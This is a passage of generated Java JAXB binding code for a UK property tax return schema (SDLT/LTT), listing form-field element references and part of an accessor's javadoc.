= "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1PlaceOfIssue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalNumberOfPurchasers", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1Title", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1Surname", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1FirstName1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1FirstName2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1AddressSameQ28YesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1AddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1AddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1Address1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1Address2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1Address3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1Address4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1Email", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1ActingAsTrusteeYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1TelNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserVendorConnectedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserCertificateRemoved", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1CorrespondenceToYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentFirmName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentAddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentAddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentDXNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentReference", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentTelNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserAgentEmail", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2Title", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2Surname", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2FirstName1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2FirstName2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2AddressSameYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2AddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2AddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2Address1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2Address2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2Address3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2Address4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2Email", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser2ActingAsTrusteeYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_NumberOfSDLT2s", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_NumberOfSDLT3s", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_NumberOfSDLT4s", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_ReclaimingHigherRate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_TotalIncludeVAT", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Country", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedCountry", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_WRATaxOpinion", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_WRATaxOpinionNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PartOfOtherUK", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_TaxPaymentMethod", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_ReliefClaimedOnPart", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LinkedUTRN", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PartOfSaleBusiness", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IncludeNotChargeable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_MattersNotChargeable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_AmountOtherMatters", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_UncertainFutureEvents", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PayOnDeferredBasis", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_FurtherReturnPrevious", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PreviousReturnUTRN", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_FurtherReturnReason", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_TermSurrendered", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RentPreviousLease", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_UnexpiredLeaseTerm", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_BreakClauseType", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_BreakClauseDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LeaseConditions", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_ContainRentReview", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RentReviewFrequency", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_ReviewClause", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_FirstReview", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LeaseServiceCharge", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_ServiceChargeAmount", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IsTenantToLandlord", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_TenantToLandlord", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IsLandlordToTenant", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandlordToTenant", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RentYear1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RentYear2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RentYear3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RentYear4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RentYear5", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_RelevantRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_HighestRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LeaseBreakClause", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandCountry", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandSituation", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandArgicultural", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_CrossTitle", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_TotalConsideration", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_MineralsRights", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_NetPresentValue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IDType", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IDTypeOther", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_UKCompany", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_CHNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LeaseTermYears", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandHasAddress", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_SellerHasAgent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_TotalNPVRentPayable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Vendor1IndividualOrOrganisation", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Vendor1Phone", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Vendor1Country", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Vendor1AgentCountry", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Vendor2IndividualOrOrganisation", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Vendor2Country", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Vendor2Phone", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser1IndividualOrOrganisation", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser1Country", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser1AgentCountry", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser1Certificate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2IndividualOrOrganisation", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2Country", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2DoB", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2CompanyNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2IDType", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2IDTypeOther", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2PlaceOfIssue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2UKCompany", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2CHNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2VATRegNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2TaxRef", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2TelNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2VendorConnected", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Purchaser2NINumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false) }) protected List<JAXBElement<?>> fidOrFRefOrFDateCreated; @XmlAttribute(name = "sdlt") protected String sdlt; /** * Gets the value of the fidOrFRefOrFDateCreated property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the fidOrFRefOrFDateCreated property. * * <p> * For example, to add a new item, do as follows: * <pre> * getFIDOrFRefOrFDateCreated().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} * {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} * {@link JAXBElement }{@code <}{@link EnumTransactionType }{@code >} * {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} * {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * {@link JAXBElement }{@code <}{@link ConsiderationCodeType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link LeaseType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link TaxPaymentMethodType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link 